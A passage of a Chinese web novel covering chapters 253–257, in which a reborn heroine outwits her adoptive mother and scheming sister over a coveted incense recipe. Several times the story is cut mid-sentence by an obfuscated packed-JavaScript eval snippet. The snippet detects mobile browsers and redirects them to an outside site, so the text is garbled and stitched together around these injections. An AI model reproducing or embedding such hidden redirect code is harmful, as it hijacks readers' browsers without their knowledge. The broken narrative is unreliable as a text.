若是把她逼急了,她咬定拒绝调香,自己回去也要吃瓜落的。 看来,只能她受些委屈,忍下这份委屈,哄着她把香料制作出来了,再去夫人面前告她一状。 夫人必定怒不可遏,自己便能光明正大的来收拾她。 想到此,江嬷嬷脸上露出温和笑,上前拉住闻颜的手,亲亲热热,就像从来没有过生间隙,劝她调香。 她说了一箩筐,总结成一句话:夫人会高兴。 闻颜心里发笑。 养育之罪,她前世已经还完。 今生的江心葵高不高兴,谁在乎? 闻颜看着江嬷嬷:“不知嬷嬷可将制香的材料带来了?” 江嬷嬷:“呃……” “夫人不会是想让我来买这些材料吧! 这款香中使用了大量的龙涎香。 龙涎香的价格江嬷嬷应该知道吧! 一两龙涎,十两金。 更何况还有许多其他名贵香料。 我现在可是一穷二白,连饱饭都吃不上的村妇,可没有钱准备这些香料。 别说我不会配,就算我会配,也巧妇难为无米之炊啊!” 这话说得,好像江心葵要占一个村妇便宜。 江嬷嬷气得不行,但她还是只得强耐着性子,说道:“您误会夫人了。 准备香料还需时间,您先准备着,香料稍后就送到。” 江嬷嬷眼睛长在头顶上,如此低声下气地求她配香,可见兰贵妃是极为喜欢的。 闻如月越是着急。 闻颜就越不会答应。 “准备?准备什么?我说了,我现在制不了香,你们还是另请高明吧,别在我身上浪费时间。” “佩儿送客。”闻颜脸色一沉,说完就回了自己的东跨院。 佩儿也不客气,冲着空气喊了一声:“康叔!” 眨眼间,康叔三个护院就飞快跑了过来。 虎视眈眈地逼近江嬷嬷。 江嬷嬷看见三个魁梧壮汉,生怕他们对自己动手动脚,逃也似的出了应家院子。 她爬上马车,催促车夫:“快走,赶紧走。” 车夫不明所以,但还是听命挥动鞭子,马车立即就驶了出去。 一直到马车驶上官道,江嬷嬷才松了口气。 她撩起车帘,朝着松山村的方向‘呸’了一声:“臭丫头,吓这样羞辱我,迟早让你追悔莫及。” 一骑快马从江嬷嬷的面前一闪而过,走上小路,朝松山村方向去了。 江嬷嬷并未多想,气哼哼地放下帘子,一路朝京城而去。 刘婶陪着人去花楹镇学手艺后,家里做饭的话,就落在李婶一个人头上。 佩儿和康叔没有其他事忙,就跟着打下手。 佩儿刚洗好黄瓜,外面就再次传来敲门声。 佩儿以为是江嬷嬷去而复返,气鼓鼓地去开门:“我家小姐不是说了,不会调香……请问你找谁?” 并不是江嬷嬷,而是一位陌生男子。 穿着一身锦衣,面白无须,表情还算和气。 “请问,这里是闻颜姑娘的家吗?” 见他态度不错,佩儿也客气地问:“你有什么事?” “你是替主子来送东西的,麻烦姑娘帮忙通传一声。” “你等着。”佩儿没让他进门,但也没关门。 往东跨院去的时候,朝康叔使了个眼色,让他盯着门外那人。 康叔朝她点点头,表示知道。 闻颜听说有人送东西来,很是诧异。 看清来人长相之后,闻颜很是震惊:“裴总管!你怎么来了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344294|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“闻姑娘。”那人对着闻颜恭敬一揖,这才从怀中拿出一份烫金请柬:“闻姑娘,我家主子将在十日后举办赏荷宴,请您到时一定要参加。” 闻颜双手接过请柬,真诚道:“还请裴总管转告恭太妃,闻颜一定会准时出席。” 裴总管含笑点点头,就离开了。 直到再也听不见马蹄声,佩儿才好奇地询问:“小姐,你说的恭太妃,是我们进城那天,遇见的那支队伍吗?小姐怎么认识她的?” 闻颜点点头:“是她。她喜欢我的刺绣,一来二去便认识了。” ** 梧桐书院。 放课的钟声响起,应知林就像一支离弦的箭,迫不及待地奔出课堂。 同窗追出来:“应兄,我有问题想请教你。” 应知林摆摆手:“有事明天再说,我要回家了。” 同窗:“今天不把问题弄明白,晚上我睡不着……” 他的话还没说完,应知林就已经不见了踪影。 同窗:“不是……应知林今天怎么了?家里挖到金矿了?” “谁说不是呢!今天他时不时就露出傻笑,我挨着他坐,怪渗人的。” “好像是他夫人回来了……” 同窗们挤眉弄眼,齐齐发出一声心照不宣的‘哦!’ 没想到,应知林竟是个妻奴! 应知林飞奔回家。 与此同时,江嬷嬷也回到闻府。 闻如月等着结果,还没回侯府。 江嬷嬷不敢承认,是自己把事情弄砸了。 当即就添油加醋,将事情说了一番。 江心葵听完,气得拍案而起:“岂有此理! 闻颜她要反了天不成?” 闻如月擦着眼角嘤嘤嘤:“妹妹定是记恨我抢走了她的婚事。 所以才不肯帮我。” “什么她的婚事,津平侯府本就是看中闻家的底蕴才会结亲。 世子要娶的,自然也是闻家真正的千金。 我们将她养这么大,没让她还恩就算了,她有什么资格恨我们!” 才嫁出去四五个月,闻颜的叛逆已经越脱江心葵的掌控。 江心葵对此很是不满。 “献给兰贵妃的香料最为要紧,如月放心,明日我亲自去一趟,我就不信,闻颜那个小蹿子还敢当众忤逆我。” 第253章:闻如月走入陷阱 “如月知道,娘亲最疼如月了。”闻如月依偎进江心葵怀中撒娇,眼中却闪过烦躁与算计。 闻如月也是为这熏香操碎了心。 不仅自己尝试调香,还找了城中有名的调香大师,一起研制。 最终制出的香,与买到的那款,仍有一些差别。 闻如月很不满意。 可她派人出去找卖香料的姐妹,始终没有音讯。 宫里的兰贵妃又催得急,无奈之下,她只得挑了一款最接近的香,送进宫里。 都不用点燃,兰贵妃只是打开盒子闻了闻,就发现味道不对。 当即就大发雷霆,还派身边的大宫女,当面训斥闻如月,并限期交上同款香料,否则就会对她不客气。 闻如月走投无路之际,突然想起前世,闻颜制香手艺远近闻名,还开了日进斗金的香料铺子。 好几款香深受宫中贵人喜爱,其中有一款香,就受到兰贵妃的追捧。 她闻着就与息兰香有九成相似。 这也是那日在街上,她毫不犹豫买下这款香的原因。 如今闻颜不肯调香,那自己该如何向兰贵妃交待。 早知道,那日自己就该把香方一并买下。 都怪自己太大意,以为兰贵妃未必会喜欢。 结果却…… 如今恐怕会讨好不成,恐怕还会惹恼兰贵妃。 不仅会给霍家惹来麻烦,恐怕还会牵连闻家。 闻如月越想越火大,只觉得鼻子里一阵腥臭。 拿帕子一抹,闻如月眼前发昏:“血……” 她着急上火到流鼻血了。 不行。 她一定要让闻颜,把香料配出来。 既然她敬酒不吃,就别怪她动用武力了。 ** 闻颜在家中待了三天,应知林彻底放飞自我,变得非常粘她。 出门前,一定要来同她说一会儿话才离开。 从书院散学回家,必定会给她带一把野花、野果。 晚饭后,他还会和闻颜一起乘凉。 让闻颜给他检查伤势,涂抹药膏。 总之。 只要他在家,闻颜一闲下来,他必定会凑过来刷存在感。 就算闻颜在忙,他也坐到她身边,安安静静的看书。 闻颜通过他,向书院学子买了二十幅字画。 梧桐书院只看人品学识,不论出身富贵。 所以,书院中有许多贫寒学子。 闻颜的价格又给得公道,他们很乐意将画卖给闻颜。 当天晚上,应知林就带回来二十二幅。 另外两幅,是应知林悄悄混入自己的作品。 闻颜一一看过,全都非常满意。 应知林严选得来的,能有次品么! 应知林傲娇地挺了挺胸脯,娘子夸我了! 一旁的辰七哥:“……” 应知林腻歪得没眼看。 闻颜拿到画,就要回京城去验收新铺子的修葺成果。 照例上午出发。 清晨。 应知林默默帮闻颜把行李搬上马车,低垂着眉眼,好看的嘴唇抿成一条直线,时不时控诉地看闻颜一眼。 放最后一包行李时,闻颜抓住他的衣袖:“秋闱之前,我一定赶回来陪你。” 参加完恭太妃的赏荷宴,正好可以赶回来,为应知林秋闱做准备 应知林的脸上,这才有了笑意。 闻颜又叮嘱小海、辰七哥还有康叔一番,佩儿便驾着马车出发了。 途中,她与去江心葵的马车擦身而过。 江心葵在松山村扑了个空。 江心葵不信,以为是闻颜故意躲着她,非要派人去屋里搜。 没搜到人,又要在这里等闻颜。 直到辰七哥,拄着拐杖出现在江心葵面前。 以前闻颜去孟家玩,多半时候都是辰七哥护送她回家。 所以,江心葵是认识辰七哥的,也知道辰七哥跟孟家的关系。 江心葵不敢在辰七哥面前造次,只得灰溜溜地回了京城。 闻如月得知她连闻颜的面都没见上之后,嘴上安慰着江心葵,却在心里骂她蠢笨如猪,竟然连个村妇都拿捏不住。 现在看来,只能自己出手了。 闻如月十分着急。 她可没耐心,对闻颜动之以情,晓之以理。 闻颜是块硬骨头,不把她的背脊敲断,她根本不会乖乖听话。 闻如月把人撒出去,寻找闻颜的下落,很快就得知她住在‘一点墨’。 闻如月当即就去找霍耀行,问他要了几个功夫高强的护卫,关键时候出手。 当然。 闻如月也不会坐以待毙,把全部希望寄托在香料上。 她最近一直在努力回忆前世之事。 她隐约记得,秋闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344295|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后不久,便是兰贵妃的生辰宴。 生辰宴上,有一个五品小官的家眷,进献了一盆叫做‘素冠荷鼎’的兰花。 兰贵妃对那盆‘素冠荷鼎’爱不释手。 五品小官也跟着官运亨通。 世子爷会在秋闱拿下解元。 自己再进献那盆‘素冠荷鼎’。 兰贵妃凤心大悦,不仅不会追究香料之事,还会重重提拔世子爷。 于是,闻如月又下了道命令。 在寻找香料的同时,去各大花市、花圃寻找‘素冠荷鼎’。 闻如月完全不知,自己早就踏入闻颜挖好的陷阱。 ** 闻颜验收新铺子还算顺利,只有两处需要修改,其余的都很满意。 随后,便是其他的布置装点。 屏风、纱幔、挂画、插瓶。 桌椅板凳无一不精细。 当然,这些大件家具,订做根本来不及。 好在义母白夫人替她解决了这个难题。 白夫人有许多座空置的宅子。 每座宅子里,都放着不少现成的家具。 闻颜一家一家挑过去,竟淘到不少宝贝。 甚至有一套紫檀木的桌、椅、榻、床。 闻颜立即让人送去将军府:“这一套紫檀木家具特别值钱,放到义母的库房,将来给迟飞姐姐做嫁妆。” 白夫人却不同意,又将东西送回铺子里:“既然是从那些官宦太太手里赚钱,家具自然也要拿得出来。” 她有座宅子里,铺着许多高龄土烧制的假玉砖,纹饰十分精美。 她也找工匠撬下来,给闻颜送去。 闻颜看着假玉砖,哭笑不得。 也正是因为,她成天跟将军府的人来往。 闻如月的人,一直没有找到机会下手。 眼看时间一天一天过去,转眼就到了恭太妃赏荷宴的前一日。 津平侯府和闻家都收到了请柬。 津平侯的请柬上,特地写明了,邀请世子妃一同前往。 闻家虽然是四品官,这样的皇家宴请,不是每次都能受邀的。 更何况,这次的赏荷宴,还是恭太妃亲自操持的。 江心葵喜不自胜,闻父却觉得心中惴惴,一股淡淡的不祥预感,萦绕在他心头。 江心葵娇嗔地瞪他一眼:“瞧你那德性。定是看在咱们如月的面子上,才邀请的咱们。” 第254章:她在鬼叫什么 恭太妃的宴会,闻颜不能穿得太朴素。 她早早就在‘天衣布庄’订了一套衣裳。 闻颜趁着忙完,特地绕道去店里取衣服。 因着恭太妃的赏荷宴,那些受邀的官宦女眷,都会特地准备两套新的衣裳。 既表对宴会的重视,也是为了争奇斗艳,在恭太妃面前留下深刻印象。 作为近一年,最受女眷欢迎的天衣布庄,生意特别好。 闻颜刚进门就看见好几位眼熟的官宦千金。 早就不是一路人,曾经相熟的点头示意既可,不熟的就当做陌生人。 “闻姑娘,里面请。”掌柜看见闻颜就笑眯眯,并没有叫破她‘小东家’的身份。 闻颜也笑着回应:“崔掌柜,最近生意可好?” “好!好得很!”闻颜每月给店里画两个新款,不仅让店里的老客稳定,新客也在不断增加。 仅仅是这个月,店里就有近三千两的利润。 两人闲聊几句,铺子里的绣娘就把她订的衣服送了上来。 在雅间试衣过后,确定尺寸无误后,闻颜就准备下楼结钱离开。 却在楼梯上,与江心葵母女狭路相逢。 “你怎在此!”闻如月意外,不由自主拔高了音量。 闻颜心中暗哂一声倒霉,朝江心葵福了福身:“母亲。” 佩儿看见闻如月,下意识的低下头。 闻如月起初觉得她有些眼熟,不过佩儿今日是丫鬟装扮,并未过多在意。 江心葵想到自己,特地去松山村找她,却被轰走,心里就像堵了一团柳絮般,上不上下不下的难受。 她语气就变得疾言厉色:“你既然在京城,为何不回家去?” 闻颜一副怯生生的样子:“我在替将军府办事,每日早出晚归,恐打扰到父亲母亲,故而不曾回去叨扰二老。 都是闻颜的不是,闻颜在此请罪了。” “早出晚归?”江心葵以为抓住了要害,越发的疾言厉色,“你一个女子,怎好早出晚归,抛头露面。 你但凡要些脸面,就该回绝了孟家的无理要求,安心在家侍候夫君。” 在家侍候夫君? 是困在乡下一事无成,任由你们拿捏吧。 闻颜吓得一哆嗦,细声细气,仿佛要哭出来一般:“可是,我夫君并不介意我做这些事。” 江心葵:“……” “母亲若是没有其他吩咐,我就先走了。”闻颜像是吓得六神无主,慌乱地福了个礼,就准备离开。 闻如月却朝江心葵猛使眼神,提醒她香料的事。 江心葵一把抓住闻颜,往楼上雅间里拽:“你跟我来,我有事跟你说。” 闻颜一副害怕又不敢挣扎的样子。 佩儿大急,要上前阻止。 闻颜一个眼神制止了她。 闻如月对贴身丫鬟吩咐几句。 丫鬟应了一声是,就下楼离开了铺子。 雅间里。 门一关上。 闻如月就要说香料之事。 江心葵就沉着脸呵斥一声:“跪下。” 闻颜也在一瞬间,收起刚才的怯弱害怕。 她站在原地,动也不动。 仿佛没听见江心葵的命令。 闻如月瞪她:“母亲让你跪下,你还愣着做什么?” 闻颜不解地问道:“母亲,我做错了何事?您要罚我下跪?” 江心葵:“你还没意识到自己的错误吗? 还敢跟我顶嘴。 闻颜,十几年的规矩,我是白教你了吗?” 闻颜不慌不忙地解释:“女儿实在不知错在何处,还请母亲明示。” 见闻颜油盐不进,江心葵装都不装了:“江嬷嬷,掌嘴。” 江嬷嬷新仇旧账一起算,撸起衣袖走向闻颜。 闻颜后退两步,突然扯着嗓子惨叫起来:“啊……母亲,姐姐,求你们不要打我。 不要掐了,我的腹部已经没有一块好肉了。 这样虽然不会把伤痕露在外面,可我真的很疼啊。 ……母亲、姐姐求你们了,手下留点情。 啊……,我的胳膊。 啊……,我的腿! 呜呜呜…… 母亲、姐姐饶命啊!” 闻颜面无表情,喊出来的声音,却凄厉得像在受刑。 江嬷嬷都惊呆了。 自己都没碰到她。 她在鬼叫什么! 江心葵怒斥一声:“你闭嘴,不许叫! 江嬷嬷,你是摆设吗? 还不快按住她,再捂住她的嘴!” 江嬷嬷反应过来,立即朝闻颜扑去。 闻颜闪身一躲,就带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344296|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江嬷嬷在房间里绕圈。 江嬷嬷每次觉得能抓住她了,伸手去够,却扑了个空。 江心葵端着高贵主母的款,不肯出手,却一直骂江嬷嬷没用,让她跑快些。 闻颜的哭叫声却越来越大声。 很快就惊动了其他客人。 忽地。 “江夫人,你们没事吧!有什么事好好说,闹出这么大的动静,楼下都听见了。”崔掌柜在外面用力地拍门。 “什么!” 江心葵脸色一白。 刚才进店时,店里就有许多客人。 刚才这一出,岂不是全让人听了去? 江心葵这才知道,自己让闻颜算计了。 她当即怒不可遏,上前就要抽闻颜耳光,制止她鬼叫。 闻颜一边抓乱衣裳发髻,一边跑向门口:“崔掌柜,救命!” 猛地打开门。 屋里屋外,空气在这一刻突然安静。 只见门外的走廊里站满了客人。 无数双眼睛,目不转睛地盯着房间里。 只见一个衣衫不整的少女,惊慌失措地逃命。 在她身后,是高举巴掌的江心葵。 轰隆隆! 江心葵只觉得五雷轰顶。 脑海一片空白,身体僵在原地。 完了完了! 自己经营了几十年的好名声,现在全毁了! 闻如月亦吓得脸色惨白,连忙用手帕遮住脸。 闻颜几步跑出门外,扑进一名妇人怀里:“夫人,求你救救我,我不想**,求你大发慈悲,救我一回吧……” 此妇人与江心葵不对付。 她立即将闻颜护在怀里:“江夫人,就算你再不喜欢这个养女,训斥几句,跪跪祠堂就得了,怎么能动手**呢? 还在大庭广众之下打。 怎么说她也嫁人了,你不顾闻家颜面,也得顾及顾及她夫家的颜面吧。 虽然没有血缘关系,但你也不能把人往死路上逼啊!” “你胡说,我根本没有打她。”江心葵急忙解释。 闻颜的衣袖适时下滑,露出手腕上一条三指宽的瘀青。 这是昨日她在新店里,被倒下的屏风刮蹭到的。 闻颜慌张地将衣袖往上扯,遮住瘀青。 但那伤势,还是被其人看见了。 第255章:得不到的永远在骚动 围观的人都倒吸凉气。 看江心葵母女的眼神都变了。 闻颜嘤嘤哭着,趁机躲到众人身后。 江心葵有心解释,却百口莫辩。 闻颜的伤势众人亲眼所见,加之与她不对付的人煽风点火,一切解释都显得苍白无力。 大家都护着闻颜,闻颜一脸感动地对大家道谢。 与江心葵不对付的夫人摆摆手:“孩子你先走,我们帮你拖住她。” 闻颜眼眶泛红地道完谢,这才迤逦然地下楼离开。 闻如月见闻颜走了,着急不已。 难得找到闻颜,一定要她调出‘香料’配方。 她连忙挤出人群,紧跟着闻颜出了铺子。 看见闻颜上了马车。 她立即招来自己的婢女:“怎么样?摸清楚了吗?” “回小姐,已经摸清楚了。 只有闻颜跟她那个丫鬟,将军府的护卫一个都不在。” “看来老天爷都在帮我,让你这时候自动送上门来。”闻如月嗤笑一声,“跟上去,把闻颜给我抓过来。” “是。”婢女应着,扶着她上了马车,紧跟在闻颜的马车后面。 闻颜的马车在一条巷子里被堵住。 几个护卫拿着手臂粗的棍子,把马车团团围住:“闻小姐,跟我们走一趟吧。” 闻颜打起车帘走出来,看见几个蒙面护卫,不见半点慌乱:“津平侯府的人。” 几人没想到被一眼识破。 干脆也不装了:“世子夫人有请,你是自己走,还是我们绑着你走?” “你们等我一会儿,我吹一声哨子。”闻颜从颈间掏出玉哨,用力吹响。 随着几声有节奏的鸟鸣。 凭空冒出一群人,将津平侯府的**团围住。 “是镇国将军府的人。”护卫们大惊,“我们被包围了。” “**,上当了。” 不用闻颜吩咐,闻颜的人就一起出手。 七八个护卫,很快就被撂倒。 闻颜从容地跳下马车,径直来到巷口。 她在拐角处,看见了闻如月的马车。 她打起帘子就钻进马车。 闻如月见是她,以为自己目的得逞,轻蔑又是鄙夷地讥笑一声:“母亲看中了一款香料,你是知道的。 只要你把香料调出来,我会让你毫发无损地回去。” “那我要是不配合呢?” “不配合?你就少不得要吃一些苦头了。 比如说……废了你的双腿,打到你配合为止……” “你主的是这样吗?”闻颜问话的同时,挥手就是一个耳光,抽在闻如月脸上。 ‘啪’的一声, 声音清脆极了。 闻如月脸被打歪,耳朵嗡嗡作响,脸颊也火辣辣地发烫。 她半晌才反应过来,捂着脸,不可置信地瞪着闻颜:“你敢打我!” “打你又如何?难道还要挑日子不成?” “你……”闻如月气得浑身直哆嗦,喝斥婢女,“你是**吗?还不给我打回去!” 婢女撸起衣袖就想动手。 闻颜眼神冷漠地看过去。 婢女顿时吓得缩了缩脖子。 “没用的东西!”闻如月气极,大喊护卫,来把闻颜拖走。 然而。 她喊了半天,嗓子都喊劈叉了,却无人回应。 闻颜回以讥笑。 闻如月顿时明白,那些护卫失败了。 她现在才是叫天天不应,叫地地不灵的那个。 闻颜狠辣得很。 闻如月捂着脸颊,躲到婢女身后:“你……你打也打了,还想干什么! 我可是世子夫人,你要是敢动我,津平侯府不会放过你,我的夫君更不会放过你。” “不放过我?那就来啊!” 闻颜伸手抓她的发髻,抬手就在她脸上‘啪啪’扇了几下。 力道并不重,但闻如月却嗷嗷直哭,在狭小的车厢里,格外刺耳。 “闭嘴!”闻颜喝斥一声,“吵**了。” 闻如月吓得哆嗦一下,像只受惊的鹌鹑,更不敢吱声了。 闻颜揪着闻如月的脸甩了甩:“闻如月,别以为嫁给霍耀行,你就能为所欲为。 我身后有将军府撑腰,我想打你就打你,骂你就骂你,你看霍耀行敢放一个屁吗? 你以为嫁给霍耀行就能高高在上,安安稳稳地当世子夫人吗? 你信不信,只要我勾勾手指,霍耀行就会抛弃你,摇着尾巴来讨好我?” 闻如月尖声道:“不可能!耀行爱的人是我,他只爱我,就算你脱光了衣服,躺在他面前,他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344297|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会多看你一眼。” 闻颜哂笑:“你们成亲这么久,霍耀行早就腻歪你了吧! 这天下哪有从一而终的爱情,在男人眼里,家花哪有野花香。 得不到的永远在骚动。 对于男人来说,别人的夫人,睡起来才刺激。” 闻颜一席话,顿时让闻如月回忆起前世。 那时候,外界传言,闻颜和霍耀行夫妻恩爱,日子过得蜜里调油。 而她却守了寡。 闻颜抢走她闻家小姐的位置就算了,凭什么连嫁的男人,也比自己挑中的好? 她只是稍稍一撩拨,霍耀行就与她搅和在一起。 他时常在与她云雨时,说闻颜无趣、死板、没有新鲜感。 再联想到最近,霍耀行总是以读书为由,拒绝与自己亲近。 却时不时地,跟江柔儿那个小贱妇眉来眼去。 一股恐慌袭上心头。 霍耀行不会真的厌倦自己了吧! 不行! 重生一次,她好不容易嫁给霍耀行。 她不允许任何人破坏她的美满。 闻如月慌乱极了。 她已经顾不上闻颜离开马车,更顾不上锡兰香。 连忙叫丫鬟,赶着马车回府。 她要盯着夫君…… 不,她要盯着江柔儿,绝对不能让那小**越雷池一步。 看着闻如月的马车扬长而去,闻颜勾唇轻笑。 她已在闻如月心里,种下怀疑的种子。 闻如月善妒,一定会借机生事。 她现在作得越凶,将来东窗事发,霍耀行才将所有过错怪罪于她。 这时。 江心葵的马车匆匆赶来。 看见路边的闻颜,她没好气地哼了一声,质问:“你姐姐呢?” 闻颜朝闻如月的方向抬了抬下巴:“不知怎么的,急吼吼就走了。” 江心葵对香料还不死心,旧事重提。 还说材料都准备好了。 她今晚就能开始调配。 闻颜仿佛没听到她的话,伸了个懒腰:“跑了一天好累,女儿就回家休息了。” 说完,她就不再理会江心葵,坐上自己的马车回‘一点墨’。 而江心葵当众殴打养女的事,像长了翅膀一般,在京城里疯传。 第256章:以牙还牙 闻颜回到‘一点墨’。 铺子里已经没有客人,苏合正准备打烊了。 苏合指了指二楼的方向:“小姐,有人找你。” “是义母那边的人?”闻颜询问。 苏合摇摇头:“不是。那人我不认识,不过从衣着气度判断,应该是勋贵人家出来的。” “我上去看看。”闻颜提着裙摆就上了楼。 佩儿把装新衣的锦盒放在一旁,同苏合一起整理起铺子。 闻颜来到二楼,发现等候她的是位年轻女子。 闻颜朝她点了点头:“不知姑娘是……” 对方表明身份:“我是恭太妃身边的大丫鬟,明日就是赏荷宴,太妃特地让我送些东西过来。” 说着,她便将一只锦盒递给闻颜。 “多谢太妃娘娘。”闻颜连忙接过。 她心里满是惊讶,她跟太妃确实有些交情。 前几天给自己送赏荷宴的请柬,就已经让闻颜意外了。 现在又送来礼物,未免有些好得过分了。 大丫鬟像是看出她的疑惑,解释道:“太妃说了,这是与你品性般配的。” 闻颜还是一头雾水。 “东西送到,奴婢就先走了。”她笑笑,朝闻颜福了福身,就下楼离开了。 闻颜目送她坐上马车离开,这才打开盒子,看看里面装的是什么。 竟是一套旧衣。 雪青的底色,外罩一件藕荷色纱衣。 无论是款式,还是布料上的暗纹,都有些年头了。 恭太妃的身份地位超然,更是不缺银钱,她怎会特地送自己一件旧衣? 闻颜仔细描摹着上面鹤鹿同春的暗纹。 既然想不通,她干脆就不想了。 一夜无话。 转眼就到了赏荷宴当天。 闻颜和佩儿这段时间精力透支,根本睡不醒。 还是苏合来敲门:“小姐,你今儿要去赴宴,快起来了。” 闻颜这才强迫自己起床。 匆匆洗漱之后,闻颜换上了那一身旧衣。 苏合道:“小姐,你不是特意订了一套衣服吗?这身衣服款式也太老旧了,穿去太妃的寿宴,会不会有些失礼?” “不会。这身衣裳,就是太妃特地送来给我的。” 苏合:“啊?” 闻颜和佩儿穿戴好之后,便驾着马车,朝恭太妃斩居的公主府而去。 恭太妃出身名门,十七岁入宫。 因为护佑养育当今有功,当今登基后,欲立她为太后,与生母并立为东西太后。 却遭到恭太妃严辞拒绝:“一山不容二虎,一宫不容二主。” 皇帝感念她的养育之恩,知她喜欢外面的自由自在。 便为她破例,准许她每年可有半数时间,到宫外与女儿同住。 恭太妃虽无太后尊位,超然地位却与太后无异。 不止满朝文武,甚至连皇亲国戚都要巴结。 是以,每次恭太妃的宴会,众人削尖脑袋也要参加。 闻颜到得有些晚了。 不过,门房在看见她拿出来的请柬后,态度顿时恭敬了许多。 立刻有大丫鬟将她引领到后花园。 闻颜不是第一次来公主府了。 对富丽堂皇的布置**以为常,倒是佩儿,一路上左看看右瞧瞧,眼睛都忙不过来了。 很快,他们就到了后花园。 满塘荷花竞相绽放,繁盛似锦。 只见京城里有头有脸的贵女们都汇聚于此。 在池塘边或站或坐,真是人比花娇,花映芙蓉面。 闻如月和江心葵母女也在。 闻如月今天打扮得格外惹眼,不少人围在她身边奉承: “如月,你身上穿的是‘天衣布庄’的绿野仙踪吧! 全天下仅此一件。 这身衣裳才展出来一天,就被人订走了。 我们都在猜测,花落谁家,没想到是你。” 闻如月以扇掩面,发出咯咯笑声:“我本不想要的,可世子爷非要买给我。” “你头上的点翠首饰,很是衬你,一看就价值不菲,定然也是霍世子买给你的吧!” “霍世子本就是京城数一数二的青年才俊,又如此宠爱你。如月,你可真是好命!” “现在还叫如月,应该叫世子夫人……” 闻如月最爱别人讨好巴结她,被逗得娇笑连连,眉目含春。 江心葵站在一旁,也一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344298|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与有荣焉的神情。 闻颜心中讥诮,不想多看。 便领着佩儿,顺着无人的小径漫步,欣赏园中其他花草。 闻如月娇笑间,看见闻颜的身影,顿时眉头轻蹙,抓住江心葵的胳膊,朝闻颜的方向示意:她怎么来了! 大丫鬟一直随侍在闻颜左右。 闻颜便道:“你自去忙吧,我这边不碍事的。” 大丫鬟看出闻颜不喜欢被人跟着,便听话地离开了。 闻颜带着佩儿闲逛一会儿,前路忽然被人拦住。 闻颜抬眸,竟是江家母女。 昨天已经撕破脸。 闻颜却像个没事儿一般,对江心葵行了个标准的福礼:“母亲!” 江心葵冷笑:“你昨天诬蔑我的时候,可半点不念母女情分。” 闻如月也道:“闻颜,这可是恭太妃的宴会,你怎么会出现在这里? 你不会是打着我们的旗号,蒙混进来的吧。” 闻颜笑眯眯的:“母亲你怎么还在生气? 母女之间哪有隔夜仇,您这个年纪,正是保养身体的时候,若是气坏了身体,就是如月姐姐的不是了。” 言罢,她又对闻如月开炮:“大姐,饭可以乱吃,话不可以乱说。 你诬蔑我蒙混进来,若是让旁人听了去,以为闻家毫无家教! 母亲教你的修养呢?官宦千金的仪态呢?” 江心葵母女被她挤兑得脸上青一阵白一阵。 闻颜冷笑。 前世,她不肯让他们压榨时,他们就跟她说亲戚,说养育之恩,说家族荣誉。 她不过刚刚热了个身,她们怎么就受不了了? 闻颜嘲弄地看着二人。 她问江心葵:“你不会是要我趁着赏荷宴人多,澄清昨晚的事吧。 比如说,一切都是我的算计,你是无辜的,你不仅从严没有打过我,对我胜过亲生女儿!” 闻颜又看向闻如月:“你则让我去调什么香,否则就要我吃不了兜着走? 比如说,让我的‘一点墨’开不下去。 又比如说,让人取消应知林的秋闱资格?” 看着母女俩吞了苍蝇一样的表情。 闻颜就知,自己说中了。 第257章:溪落,打脸 闻如月的脸色变了几变。 闻颜怎如肚中蛔虫,自己想什么,她都知道。 她知道,香料的事又不会顺利。 但是,香料她必须配成! 她咬咬牙,眼中闪过狠戾。 